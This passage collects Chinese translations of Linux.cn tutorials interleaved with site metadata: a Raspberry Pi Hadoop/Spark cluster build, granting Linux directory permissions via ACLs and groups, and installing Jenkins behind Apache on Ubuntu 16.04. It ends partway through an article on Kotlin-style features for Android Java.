—— 上手树莓派 2B
这个由设计师和工程师制作出来的精致小玩意儿拥有 1GB 的内存， MicroSD 卡充当它的硬盘，此外，每一台的价格都低于 50 美元，这意味着你可以花不到 250 美元的价格搭建一个 Hadoop 集群。
或许天下没有比这更便宜的入场券来带你进入大数据的大门。
### II. 制作一个树莓派集群
我最喜欢制作的原材料。
这里我将给出我原来为了制作树莓派集群购买原材料的链接，如果以后要在亚马逊购买的话你可先这些链接收藏起来，也是对本站的一点支持。(谢谢)
* [树莓派 2B 3 块](http://amzn.to/2bEFTVh)
* [4 层亚克力支架](http://amzn.to/2bTo1br)
* [6 口 USB 转接器](http://amzn.to/2bEGO8g)，我选了白色 RAVPower 50W 10A 6 口 USB 转接器
* [MicroSD 卡](http://amzn.to/2cguV9I)，这个五件套 32GB 卡非常棒
* [短的 MicroUSB 数据线](http://amzn.to/2bX2mwm)，用于给树莓派供电
* [短网线](http://amzn.to/2bDACQJ)
* 双面胶，我有一些 3M 的，很好用
#### 开始制作
1. 首先，装好三个树莓派，每一个用螺丝钉固定在亚克力面板上。（看下图）
2. 接下来，安装以太网交换机，用双面胶贴在其中一个在亚克力面板上。
3. 用双面胶贴将 USB 转接器贴在一个在亚克力面板使之成为最顶层。
4. 接着就是一层一层都拼好——这里我选择将树莓派放在交换机和USB转接器的底下（可以看看完整安装好的两张截图）
想办法把线路放在需要的地方——如果你和我一样购买力 USB 线和网线，我可以将它们卷起来放在亚克力板子的每一层
现在不要急着上电，需要将系统烧录到 SD 卡上才能继续。
#### 烧录 Raspbian
按照[这个教程](https://www.raspberrypi.org/downloads/raspbian/)将 Raspbian 烧录到三张 SD 卡上，我使用的是 Win7 下的 [Win32DiskImager](https://sourceforge.net/projects/win32diskimager/)。
将其中一张烧录好的 SD 卡插在你想作为主节点的树莓派上，连接 USB 线并启动它。
#### 启动主节点
这里有[一篇非常棒的“Because We Can Geek”的教程](http://www.becausewecangeek.com/building-a-raspberry-pi-hadoop-cluster-part-1/)，讲如何安装 Hadoop 2.7.1，此处就不再熬述。
在启动过程中有一些要注意的地方，我将带着你一起设置直到最后一步，记住我现在使用的 IP 段为 192.168.1.50 – 192.168.1.52，主节点是 .50，从节点是 .51 和 .52，你的网络可能会有所不同，如果你想设置静态 IP 的话可以在评论区看看或讨论。
一旦你完成了这些步骤，接下来要做的就是启用交换文件，Spark on YARN 将分割出一块非常接近内存大小的交换文件，当你内存快用完时便会使用这个交换分区。
（如果你以前没有做过有关交换分区的操作的话，可以看看[这篇教程](https://www.digitalocean.com/community/tutorials/how-to-add-swap-on-ubuntu-14-04)，让 `swappiness` 保持较低水准，因为 MicroSD 卡的性能扛不住）
现在我准备介绍有关我的和“Because We Can Geek”关于启动设置一些微妙的区别。
对于初学者，确保你给你的树莓派起了一个正式的名字——在 `/etc/hostname` 设置，我的主节点设置为 ‘RaspberryPiHadoopMaster’ ，从节点设置为 ‘RaspberryPiHadoopSlave#’
主节点的 `/etc/hosts` 配置如下：
```
#/etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.1.50 RaspberryPiHadoopMaster
192.168.1.51 RaspberryPiHadoopSlave1
192.168.1.52 RaspberryPiHadoopSlave2
```
如果你想让 Hadoop、YARN 和 Spark 运行正常的话，你也需要修改这些配置文件（不妨现在就编辑）。
这是 `hdfs-site.xml`：
```
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
<property>
<name>fs.default.name</name>
<value>hdfs://RaspberryPiHadoopMaster:54310</value>
</property>
<property>
<name>hadoop.tmp.dir</name>
<value>/hdfs/tmp</value>
</property>
</configuration>
```
这是 `yarn-site.xml` （注意内存方面的改变）：
```
<?xml version="1.0"?>
<configuration>
<!-- Site specific YARN configuration properties -->
<property>
<name>yarn.nodemanager.aux-services</name>
<value>mapreduce_shuffle</value>
</property>
<property>
<name>yarn.nodemanager.resource.cpu-vcores</name>
<value>4</value>
</property>
<property>
<name>yarn.nodemanager.resource.memory-mb</name>
<value>1024</value>
</property>
<property>
<name>yarn.scheduler.minimum-allocation-mb</name>
<value>128</value>
</property>
<property>
<name>yarn.scheduler.maximum-allocation-mb</name>
<value>1024</value>
</property>
<property>
<name>yarn.scheduler.minimum-allocation-vcores</name>
<value>1</value>
</property>
<property>
<name>yarn.scheduler.maximum-allocation-vcores</name>
<value>4</value>
</property>
<property>
<name>yarn.nodemanager.vmem-check-enabled</name>
<value>false</value>
<description>Whether virtual memory limits will be enforced for containers</description>
</property>
<property>
<name>yarn.nodemanager.vmem-pmem-ratio</name>
<value>4</value>
<description>Ratio between virtual memory to physical memory when setting memory limits for containers</description>
</property>
<property>
<name>yarn.resourcemanager.resource-tracker.address</name>
<value>RaspberryPiHadoopMaster:8025</value>
</property>
<property>
<name>yarn.resourcemanager.scheduler.address</name>
<value>RaspberryPiHadoopMaster:8030</value>
</property>
<property>
<name>yarn.resourcemanager.address</name>
<value>RaspberryPiHadoopMaster:8040</value>
</property>
</configuration>
```
`slaves`：
```
RaspberryPiHadoopMaster
RaspberryPiHadoopSlave1
RaspberryPiHadoopSlave2
```
`core-site.xml`：
```
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
<property>
<name>fs.default.name</name>
<value>hdfs://RaspberryPiHadoopMaster:54310</value>
</property>
<property>
<name>hadoop.tmp.dir</name>
<value>/hdfs/tmp</value>
</property>
</configuration>
```
#### 设置两个从节点：
接下来[按照 “Because We Can Geek”上的教程](http://www.becausewecangeek.com/building-a-raspberry-pi-hadoop-cluster-part-2/)，你需要对上面的文件作出小小的改动。 在 `yarn-site.xml` 中主节点没有改变，所以从节点中不必含有这个 `slaves` 文件。
### III. 在我们的树莓派集群中测试 YARN
如果所有设备都正常工作，在主节点上你应该执行如下命令：
```
start-dfs.sh
start-yarn.sh
```
当设备启动后，以 Hadoop 用户执行，如果你遵循教程，用户应该是 `hduser`。
接下来执行 `hdfs dfsadmin -report` 查看三个节点是否都正确启动，确认你看到一行粗体文字 ‘Live datanodes (3)’：
```
Configured Capacity: 93855559680 (87.41 GB)
Raspberry Pi Hadoop Cluster picture Straight On
Present Capacity: 65321992192 (60.84 GB)
DFS Remaining: 62206627840 (57.93 GB)
DFS Used: 3115364352 (2.90 GB)
DFS Used%: 4.77%
Under replicated blocks: 0
Blocks with corrupt replicas: 0
Missing blocks: 0
Missing blocks (with replication factor 1): 0
————————————————-
Live datanodes (3):
Name: 192.168.1.51:50010 (RaspberryPiHadoopSlave1)
Hostname: RaspberryPiHadoopSlave1
Decommission Status : Normal
```
你现在可以做一些简单的诸如 ‘Hello, World!’ 的测试，或者直接进行下一步。
### IV. 安装 SPARK ON YARN
YARN 的意思是另一种非常好用的资源调度器（Yet Another Resource Negotiator），已经作为一个易用的资源管理器集成在 Hadoop 基础安装包中。
[Apache Spark](https://spark.apache.org/) 是 Hadoop 生态圈中的另一款软件包，它是一个毁誉参半的执行引擎和[捆绑的 MapReduce](https://hadoop.apache.org/docs/r1.2.1/mapred_tutorial.html)。在一般情况下，相对于基于磁盘存储的 MapReduce，Spark 更适合基于内存的存储，某些运行任务能够得到 10-100 倍提升——安装完成集群后你可以试试 Spark 和 MapReduce 有什么不同。
我个人对 Spark 还是留下非常深刻的印象，因为它提供了两种数据工程师和科学家都比较擅长的语言—— Python 和 R。
安装 Apache Spark 非常简单，在你家目录下，`wget "为 Hadoop 2.7 构建的 Apache Spark”`（[来自这个页面](https://spark.apache.org/downloads.html)），然后运行 `tar -xzf “tgz 文件”`，最后把解压出来的文件移动至 `/opt`，并清除刚才下载的文件，以上这些就是安装步骤。
我又创建了只有两行的文件 `spark-env.sh`，其中包含 Spark 的配置文件目录。
```
SPARK_MASTER_IP=192.168.1.50
SPARK_WORKER_MEMORY=512m
```
(在 YARN 跑起来之前我不确定这些是否有必要。)
### V. 你好，世界! 为 Apache Spark 寻找有趣的数据集!
在 Hadoop 世界里面的 ‘Hello, World!’ 就是做单词计数。
我决定让我们的作品做一些内省式……为什么不统计本站最常用的单词呢？也许统计一些关于本站的大数据会更有用。
如果你有一个正在运行的 WordPress 博客，可以通过简单的两步来导出和净化。
1. 我使用 [Export to Text](https://wordpress.org/support/plugin/export-to-text) 插件导出文章的内容到纯文本文件中
2. 我使用一些[压缩库](https://pypi.python.org/pypi/bleach)编写了一个 Python 脚本来剔除 HTML
```
import bleach
# Change this next line to your 'import' filename, whatever you would like to strip
# HTML tags from.
ascii_string = open('dqydj_with_tags.txt', 'r').read()
new_string = bleach.clean(ascii_string, tags=[], attributes={}, styles=[], strip=True)
new_string = new_string.encode('utf-8').strip()
# Change this next line to your 'export' filename
f = open('dqydj_stripped.txt', 'w')
f.write(new_string)
f.close()
```
现在我们有了一个更小的、适合复制到树莓派所搭建的 HDFS 集群上的文件。
如果你不能树莓派主节点上完成上面的操作，找个办法将它传输上去（scp、 rsync 等等），然后用下列命令行复制到 HDFS 上。
```
hdfs dfs -copyFromLocal dqydj_stripped.txt /dqydj_stripped.txt
```
现在准备进行最后一步 - 向 Apache Spark 写入一些代码。
### VI. 点亮 Apache Spark
Cloudera 有个极棒的程序可以作为我们的超级单词计数程序的基础，[你可以在这里找到](https://www.cloudera.com/documentation/enterprise/5-6-x/topics/spark_develop_run.html)。我们接下来为我们的内省式单词计数程序修改它。
在主节点上[安装‘stop-words’](https://pypi.python.org/pypi/stop-words)这个 python 第三方包，虽然有趣（我在 DQYDJ 上使用了 23,295 次 the 这个单词），你可能不想看到这些语法单词占据着单词计数的前列，另外，在下列代码用你自己的数据集替换所有有关指向 dqydj 文件的地方。
```
import sys
from stop_words import get_stop_words
from pyspark import SparkContext, SparkConf
if __name__ == "__main__":
# create Spark context with Spark configuration
conf = SparkConf().setAppName("Spark Count")
sc = SparkContext(conf=conf)
# get threshold
try:
threshold = int(sys.argv[2])
except:
threshold = 5
# read in text file and split each document into words
tokenized = sc.textFile(sys.argv[1]).flatMap(lambda line: line.split(" "))
# count the occurrence of each word
wordCounts = tokenized.map(lambda word: (word.lower().strip(), 1)).reduceByKey(lambda v1,v2:v1 +v2)
# filter out words with fewer than threshold occurrences
filtered = wordCounts.filter(lambda pair:pair[1] >= threshold)
print "*" * 80
print "Printing top words used"
print "-" * 80
filtered_sorted = sorted(filtered.collect(), key=lambda x: x[1], reverse = True)
for (word, count) in filtered_sorted: print "%s : %d" % (word.encode('utf-8').strip(), count)
# Remove stop words
print "\n\n"
print "*" * 80
print "Printing top non-stop words used"
print "-" * 80
# Change this to your language code (see the stop-words documentation)
stop_words = set(get_stop_words('en'))
no_stop_words = filter(lambda x: x[0] not in stop_words, filtered_sorted)
for (word, count) in no_stop_words: print "%s : %d" % (word.encode('utf-8').strip(), count)
```
保存好 wordCount.py，确保上面的路径都是正确无误的。
现在，准备念出咒语，让运行在 YARN 上的 Spark 跑起来，你可以看到我在 DQYDJ 使用最多的单词是哪一个。
```
/opt/spark-2.0.0-bin-hadoop2.7/bin/spark-submit –master yarn –executor-memory 512m –name wordcount –executor-cores 8 wordCount.py /dqydj_stripped.txt
```
### VII. 我在 DQYDJ 使用最多的单词
可能入列的单词有哪一些呢？“can, will, it’s, one, even, like, people, money, don’t, also“.
嘿，不错，“money”悄悄挤进了前十。在一个致力于金融、投资和经济的网站上谈论这似乎是件好事，对吧？
下面是的前 50 个最常用的词汇，请用它们刻画出有关我的文章的水平的结论。
我希望你能喜欢这篇关于 Hadoop、YARN 和 Apache Spark 的教程，现在你可以在 Spark 运行和编写其他的应用了。
你的下一步是任务是开始[阅读 pyspark 文档](https://spark.apache.org/docs/2.0.0/api/python/index.html)（以及用于其他语言的该库），去学习一些可用的功能。根据你的兴趣和你实际存储的数据，你将会深入学习到更多——有流数据、SQL，甚至机器学习的软件包！
你怎么看？你要建立一个树莓派 Hadoop 集群吗？想要在其中挖掘一些什么吗？你在上面看到最令你惊奇的单词是什么？为什么 'S&P' 也能上榜？
（题图：Pixabay，CC0）
---
via: <https://dqydj.com/raspberry-pi-hadoop-cluster-apache-spark-yarn/>
作者：[PK](https://dqydj.com/about/#contact_us) 译者：[popy32](https://github.com/sfantree) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 组织编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
在 Linux 上给用户赋予指定目录的读写权限
|
Aaron Kili
|
http://www.tecmint.com/give-read-write-access-to-directory-in-linux/
|
有两种方法可以实现这个目标：第一种是 使用 ACL (访问控制列表) ，第二种是创建用户组来管理文件权限
|
/data/attachment/album/201705/07/210335tgwti3xdxidtx6zs.jpg.thumb.jpg
|
/data/attachment/album/201705/07/210335tgwti3xdxidtx6zs.jpg
| true | false | true |
Mr-Ping
| false |
[
"ACL",
"目录",
"权限"
] |
技术
|
{
"viewnum": 57476,
"commentnum": 1,
"favtimes": 2,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "180.127.14.31",
"message": "博主你好，通过ACL权限方式，真正符合了“给指定用户开放指定读写权限，不改变原目录/文件的所有者”要求，但此目录的读写效率严重下降，该如何解决呢？",
"username": "来自江苏连云港的 Firefox 89.0|Fedora 用户",
"date": "2021-06-18T13:19:58"
}
] |
[
{
"raid": 8187,
"displayorder": 0
}
] |
有两种方法可以实现这个目标：第一种是 使用 ACL (访问控制列表) ，第二种是创建用户组来管理文件权限
| 2017-05-07T21:04:05 | 2017-05-07T21:04:05 | 8,487 |
/article-8487-1.html
|
在上篇文章中我们向您展示了如何在 Linux 上[创建一个共享目录](/article-8187-1.html)。这次，我们会为您介绍如何将 Linux 上指定目录的读写权限赋予用户。
有两种方法可以实现这个目标：第一种是 [使用 ACL (访问控制列表)](http://www.tecmint.com/secure-files-using-acls-in-linux/) ，第二种是[创建用户组来管理文件权限](http://www.tecmint.com/manage-users-and-groups-in-linux/)，下面会一一介绍。
为了完成这个教程，我们将使用以下设置。
* 操作系统：CentOS 7
* 测试目录：`/shares/project1/reports`
* 测试用户：tecmint
* 文件系统类型：ext4
请确认所有的命令都是使用 root 用户执行的，或者使用 [sudo 命令](http://www.tecmint.com/sudoers-configurations-for-setting-sudo-in-linux/) 来享受与之同样的权限。
让我们开始吧！下面，先使用 `mkdir` 命令来创建一个名为 `reports` 的目录。
```
# mkdir -p /shares/project1/reports
```
### 使用 ACL 来为用户赋予目录的读写权限
重要提示：打算使用此方法的话，您需要确认您的 Linux 文件系统类型（如 ext3 和 ext4, NTFS, BTRFS）支持 ACL。
1、 首先， 依照以下命令在您的系统中[检查当前文件系统类型](http://www.tecmint.com/find-linux-filesystem-type/)，并且查看内核是否支持 ACL：
```
# df -T | awk '{print $1,$2,$NF}' | grep "^/dev"
# grep -i acl /boot/config*
```
从下方的截屏可以看到，文件系统类型是 `ext4`，并且从 `CONFIG_EXT4_FS_POSIX_ACL=y` 选项可以发现内核是支持 **POSIX ACL** 的。
*查看文件系统类型和内核的 ACL 支持。*
2、 接下来，查看文件系统（分区）挂载时是否使用了 ACL 选项。
```
# tune2fs -l /dev/sda1 | grep acl
```
*查看分区是否支持 ACL*
通过上边的输出可以发现，默认的挂载项目中已经对 **ACL** 进行了支持。如果发现结果不如所愿，你可以通过以下命令对指定分区（此例中使用 `/dev/sda3`）开启 ACL 的支持。
```
# mount -o remount,acl /
# tune2fs -o acl /dev/sda3
```
3、 现在是时候指定目录 `reports` 的读写权限分配给名为 `tecmint` 的用户了，依照以下命令执行即可。
```
# getfacl /shares/project1/reports # Check the default ACL settings for the directory
# setfacl -m user:tecmint:rw /shares/project1/reports # Give rw access to user tecmint
# getfacl /shares/project1/reports # Check new ACL settings for the directory
```
*通过 ACL 对指定目录赋予读写权限*
在上方的截屏中，通过输出结果的第二行 `getfacl` 命令可以发现，用户 `tecmint` 已经成功的被赋予了 `/shares/project1/reports` 目录的读写权限。
如果想要获取 ACL 列表的更多信息。可以在下方查看我们的其他指南。
1. [如何使用访问控制列表（ACL）为用户/组设置磁盘配额](http://www.tecmint.com/set-access-control-lists-acls-and-disk-quotas-for-users-groups/)
2. [如何使用访问控制列表（ACL）挂载网络共享](http://www.tecmint.com/rhcsa-exam-configure-acls-and-mount-nfs-samba-shares/)
现在我们来看看如何使用第二种方法来为目录赋予读写权限。
### 使用用户组来为用户赋予指定目录的读写权限
1、 如果用户已经拥有了默认的用户组（通常组名与用户名相同），就可以简单的通过变更文件夹的所属用户组来完成。
```
# chgrp tecmint /shares/project1/reports
```
另外，我们也可以通过以下方法为多个用户（需要赋予指定目录读写权限的）新建一个用户组。如此一来，也就[创建了一个共享目录](http://www.tecmint.com/create-a-shared-directory-in-linux/)。
```
# groupadd projects
```
2、 接下来将用户 `tecmint` 添加到 `projects` 组中：
```
# usermod -aG projects tecmint # add user to projects
# groups tecmint # check users groups
```
3、 将目录的所属用户组变更为 projects：
```
# chgrp projects /shares/project1/reports
```
4、 现在，给组成员设置读写权限。
```
# chmod -R 0760 /shares/projects/reports
# ls -l /shares/projects/ #check new permissions
```
好了！这篇教程中，我们向您展示了如何在 Linux 中将指定目录的读写权限赋予用户。若有疑问，请在留言区中提问。
（题图：Pixabay，CC0）
---
作者简介：
Aaron Kili 是 Linux 和 F.O.S.S 爱好者，未来的 Linux 系统管理员和网络开发人员，目前是 TecMint 的内容创作者，他喜欢用电脑工作，并坚信分享知识。
---
via: <http://www.tecmint.com/give-read-write-access-to-directory-in-linux/>
作者：[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者：[Mr-Ping](http://www.mr-ping.com) 校对：[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何在 Ubuntu16.04 中用 Apache 部署 Jenkins 自动化服务器
|
Muhammad Arul
|
https://www.howtoforge.com/tutorial/how-to-install-jenkins-with-apache-on-ubuntu-16-04/
|
Jenkins 是从 Hudson 项目衍生出来的自动化服务器。Jenkins 是一个基于服务器的应用程序，运行在 Java servlet 容器中，它支持包括 Git、SVN 以及 Mercurial 在内的多种 SCM。Jenkins 提供了上百种插件帮助你的项目实现自动化。Jenkins 由 Kohsuke Kawaguchi 开发，在 2011 年使用 MIT 协议发布了第一个发行版，它是个自由软件。
|
/data/attachment/album/201705/08/082705awkyywiddmllikiz.jpg.thumb.jpg
|
/data/attachment/album/201705/08/082705awkyywiddmllikiz.jpg
| true | false | true |
ictlyh
| false |
[
"Jenkins"
] |
系统运维
|
{
"viewnum": 8546,
"commentnum": 0,
"favtimes": 3,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
Jenkins 是从 Hudson 项目衍生出来的自动化服务器。Jenkins 是一个基于服务器的应用程序，运行在 Java servlet 容器中，它支持包括 Git、SVN 以及 Mercurial 在内的多种 SCM。Jenkins 提供了上百种插件帮助你的项目实现自动化。Jenkins 由 Kohsuke Kawaguchi 开发，在 2011 年使用 MIT 协议发布了第一个发行版，它是个自由软件。
| 2017-05-08T08:29:33 | 2017-05-08T08:29:33 | 8,488 |
/article-8488-1.html
|
Jenkins 是从 Hudson 项目衍生出来的自动化服务器。Jenkins 是一个基于服务器的应用程序，运行在 Java servlet 容器中，它支持包括 Git、SVN 以及 Mercurial 在内的多种 SCM（<ruby> 源码控制工具 <rp> （ </rp> <rt> Source Control Management </rt> <rp> ） </rp></ruby>）。Jenkins 提供了上百种插件帮助你的项目实现自动化。Jenkins 由 Kohsuke Kawaguchi 开发，在 2011 年使用 MIT 协议发布了第一个发行版，它是个自由软件。
在这篇指南中，我会向你介绍如何在 Ubuntu 16.04 中安装最新版本的 Jenkins。我们会用自己的域名运行 Jenkins，在 apache web 服务器中安装和配置 Jenkins，而且支持反向代理。
### 前提
* Ubuntu 16.04 服务器 - 64 位
* Root 权限
### 第一步 - 安装 Java OpenJDK 7
Jenkins 基于 Java，因此我们需要在服务器上安装 Java OpenJDK 7。在这里，我们会从一个 PPA 仓库安装 Java 7，首先我们需要添加这个仓库。
默认情况下，Ubuntu 16.04 没有安装用于管理 PPA 仓库的 python-software-properties 软件包，因此我们首先需要安装这个软件。使用 apt 命令安装 python-software-properties。
```
apt-get install python-software-properties
```
下一步，添加 Java PPA 仓库到服务器中。
```
add-apt-repository ppa:openjdk-r/ppa
```
用 apt 命令更新 Ubuntu 仓库并安装 Java OpenJDK。
```
apt-get update
apt-get install openjdk-7-jdk
```
输入下面的命令验证安装：
```
java -version
```
你会看到安装到服务器上的 Java 版本。
### 第二步 - 安装 Jenkins
Jenkins 给软件安装包提供了一个 Ubuntu 仓库，我们会从这个仓库中安装 Jenkins。
用下面的命令添加 Jenkins 密钥和仓库到系统中。
```
wget -q -O - https://pkg.jenkins.io/debian-stable/jenkins.io.key | sudo apt-key add -
echo 'deb https://pkg.jenkins.io/debian-stable binary/' | tee -a /etc/apt/sources.list
```
更新仓库并安装 Jenkins。
```
apt-get update
apt-get install jenkins
```
安装完成后，用下面的命令启动 Jenkins。
```
systemctl start jenkins
```
通过检查 Jenkins 默认使用的端口（端口 8080）验证 Jenkins 正在运行。我会像下面这样用 `netstat` 命令检测：
```
netstat -plntu
```
Jenkins 已经安装好了并运行在 8080 端口。
### 第三步 - 为 Jenkins 安装和配置 Apache 作为反向代理
在这篇指南中，我们会在一个 Apache web 服务器中运行 Jenkins，我们会为 Jenkins 配置 apache 作为反向代理。首先我会安装 apache 并启用一些需要的模块，然后我会为 Jenkins 用域名 my.jenkins.id 创建虚拟主机文件。请在这里使用你自己的域名并在所有配置文件中出现的地方替换。
从 Ubuntu 仓库安装 apache2 web 服务器。
```
apt-get install apache2
```
安装完成后，启用 proxy 和 proxy\_http 模块以便将 apache 配置为 Jenkins 的前端服务器/反向代理。
```
a2enmod proxy
a2enmod proxy_http
```
下一步，在 `sites-available` 目录创建新的虚拟主机文件。
```
cd /etc/apache2/sites-available/
vim jenkins.conf
```
粘贴下面的虚拟主机配置。
```
<Virtualhost *:80>
ServerName my.jenkins.id
ProxyRequests Off
ProxyPreserveHost On
AllowEncodedSlashes NoDecode
<Proxy http://localhost:8080/*>
Order deny,allow
Allow from all
</Proxy>
ProxyPass / http://localhost:8080/ nocanon
ProxyPassReverse / http://localhost:8080/
ProxyPassReverse / http://my.jenkins.id/
</Virtualhost>
```
保存文件。然后用 `a2ensite` 命令激活 Jenkins 虚拟主机。
```
a2ensite jenkins
```
重启 Apache 和 Jenkins。
```
systemctl restart apache2
systemctl restart jenkins
```
检查 Jenkins 和 Apache 正在使用 80 和 8080 端口。
```
netstat -plntu
```
### 第四步 - 配置 Jenkins
Jenkins 用域名 'my.jenkins.id' 运行。打开你的 web 浏览器然后输入 URL。你会看到要求你输入初始管理员密码的页面。Jenkins 已经生成了一个密码，因此我们只需要显示并把结果复制到密码框。
用 `cat` 命令显示 Jenkins 初始管理员密码。
```
cat /var/lib/jenkins/secrets/initialAdminPassword
a1789d1561bf413c938122c599cf65c9
```
将结果粘贴到密码框然后点击 Continue。
现在为了后面能比较好的使用，我们需要在 Jenkins 中安装一些插件。选择 Install Suggested Plugin，点击它。
Jenkins 插件安装过程：
安装完插件后，我们需要创建一个新的管理员密码。输入你的管理员用户名、密码、电子邮件等，然后点击 ‘Save and Finish’。
点击 start 开始使用 Jenkins。你会被重定向到 Jenkins 管理员面板。
成功完成 Jenkins 安装和配置。
### 第五步 - Jenkins 安全
在 Jenkins 管理员面板，我们需要为 Jenkins 配置标准的安全，点击 ‘Manage Jenkins’ 和 ‘Configure Global Security’。
Jenkins 在 ‘Access Control’ 部分提供了多种认证方法。为了能够控制所有的用户权限，我选择了 ‘Matrix-based Security’。在复选框 ‘User/Group’ 中启用 admin 用户。通过勾选所有选项给 admin 所有权限，给 anonymous 只读权限。现在点击 ‘Save’。
你会被重定向到面板，如果出现了登录选项，只需输入你的管理员账户和密码。
### 第六步 - 测试一个简单的自动化任务
在这一部分，我想为 Jenkins 服务测试一个简单的任务。为了测试 Jenkins 我会创建一个简单的任务，并用 top 命令查看服务器的负载。
在 Jenkins 管理员面板上，点击 ‘Create New Job’。
输入任务的名称，在这里我输入 ‘Checking System’，选择 Freestyle Project 然后点击 OK。
进入 Build 标签页。在 Add build step，选择选项 Execute shell。
在输入框输入下面的命令。
```
top -b -n 1 | head -n 5
```
点击 Save。
现在你是在任务 ‘Project checking system’ 的任务页。点击 Build Now 执行任务 ‘checking system’。
任务执行完成后，你会看到 Build History，点击第一个任务查看结果。
下面是 Jenkins 任务执行的结果。
到这里就介绍完了在 Ubuntu 16.04 中用 Apache web 服务器安装 Jenkins 的内容。
---
via: <https://www.howtoforge.com/tutorial/how-to-install-jenkins-with-apache-on-ubuntu-16-04/>
作者：[Muhammad Arul](https://twitter.com/howtoforgecom) 译者：[ictlyh](https://github.com/ictlyh) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 组织编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
在没有 Kotlin 的世界与 Android 共舞
|
Piotr Ślesarew
|
https://medium.com/proandroiddev/living-android-without-kotlin-db7391a2b170
|
作为一个专业的工程师，你不能在没有同意的情况下私自去使用那些时髦的技术。我知道这听起来非常恐怖，特别当你已经品尝到 Kotlin 的好处时，不过不要失去生活的信念。
|
/data/attachment/album/201705/08/094713pyiwim50n7ttpfyi.jpg.thumb.jpg
|
/data/attachment/album/201705/08/094713pyiwim50n7ttpfyi.jpg
| true | false | true |
DockerChen
| false |
[
"Android",
"Kotlin",
"java"
] |
观点
|
{
"viewnum": 5351,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
作为一个专业的工程师，你不能在没有同意的情况下私自去使用那些时髦的技术。我知道这听起来非常恐怖，特别当你已经品尝到 Kotlin 的好处时，不过不要失去生活的信念。
| 2017-05-08T09:46:00 | 2017-05-08T09:46:00 | 8,489 |
/article-8489-1.html
|
>
> 开始投入一件事比远离它更容易。 — Donald Rumsfeld
>
>
>
没有 Kotlin 的生活就像在触摸板上玩魔兽争霸 3。购买鼠标很简单，但如果你的新雇主不想让你在生产中使用 Kotlin，你该怎么办？
下面有一些选择。
* 与你的产品负责人争取获得使用 Kotlin 的权利。
* 使用 Kotlin 并且不告诉其他人因为你知道最好的东西是只适合你的。
* 擦掉你的眼泪，自豪地使用 Java。
想象一下，你在和产品负责人的斗争中失败，作为一个专业的工程师，你不能在没有同意的情况下私自去使用那些时髦的技术。我知道这听起来非常恐怖，特别当你已经品尝到 Kotlin 的好处时，不过不要失去生活的信念。
在文章接下来的部分，我想简短地描述一些 Kotlin 的特征，使你通过一些知名的工具和库，可以应用到你的 Android 里的 Java 代码中去。对于 Kotlin 和 Java 的基本认识是需要的。
### 数据类
我想你肯定已经喜欢上 Kotlin 的数据类。对于你来说，得到 `equals()`、 `hashCode()`、 `toString()` 和 `copy()` 这些是很容易的。具体来说，`data` 关键字还可以按照声明顺序生成对应于属性的 `componentN()` 函数。 它们用于解构声明。
```
data class Person(val name: String)
val (riddle) = Person("Peter")
println(riddle)
```
你知道什么会被打印出来吗？确实，它不会是从 `Person` 类的 `toString()` 返回的值。这是解构声明的作用，它赋值从 `name` 到 `riddle`。使用园括号 `(riddle)` 编译器知道它必须使用解构声明机制。
```
val (riddle): String = Person("Peter").component1()
println(riddle) // prints Peter)
```
>
> 这个代码没编译。它就是展示了构造声明怎么工作的。
>
>
>
正如你可以看到 `data` 关键字是一个超级有用的语言特性，所以你能做什么把它带到你的 Java 世界？ 使用注释处理器并修改抽象语法树（Abstract Syntax Tree）。 如果你想更深入，请阅读文章末尾列出的文章（Project Lombok— Trick Explained）。
使用项目 Lombok 你可以实现 `data`关键字所提供的几乎相同的功能。 不幸的是，没有办法进行解构声明。
```
import lombok.Data;
@Data class Person {
final String name;
}
```
`@Data` 注解生成 `equals()`、`hashCode()` 和 `toString()`。 此外，它为所有字段创建 getter，为所有非最终字段创建setter，并为所有必填字段（final）创建构造函数。 值得注意的是，Lombok 仅用于编译，因此库代码不会添加到您的最终的 .apk。
### Lambda 表达式
Android 工程师有一个非常艰难的生活，因为 Android 中缺乏 Java 8 的特性，而且其中之一是 lambda 表达式。 Lambda 是很棒的，因为它们为你减少了成吨的样板。 你可以在回调和流中使用它们。 在 Kotlin 中，lambda 表达式是内置的，它们看起来比它们在 Java 中看起来好多了。 此外，lambda 的字节码可以直接插入到调用方法的字节码中，因此方法计数不会增加。 它可以使用内联函数。
```
button.setOnClickListener { println("Hello World") }
```
最近 Google 宣布在 Android 中支持 Java 8 的特性，由于 Jack 编译器，你可以在你的代码中使用 lambda。还要提及的是，它们在 API 23 或者更低的级别都可用。
```
button.setOnClickListener(view -> System.out.println("Hello World!"));
```
怎样使用它们？就只用添加下面几行到你的 `build.gradle` 文件中。
```
defaultConfig {
jackOptions {
enabled true
}
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
```
如果你不喜欢用 Jack 编译器，或者你由于一些原因不能使用它，这里有一个不同的解决方案提供给你。Retrolambda 项目允许你在 Java 7，6 或者 5 上运行带有 lambda 表达式的 Java 8 代码，下面是设置过程。
```
dependencies {
classpath 'me.tatarka:gradle-retrolambda:3.4.0'
}
apply plugin: 'me.tatarka.retrolambda'
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
```
正如我前面提到的，在 Kotlin 下的 lambda 内联函数不增加方法计数，但是如何在 Jack 或者 Retrolambda 下使用它们呢？ 显然，它们不是没成本的，隐藏的成本如下。
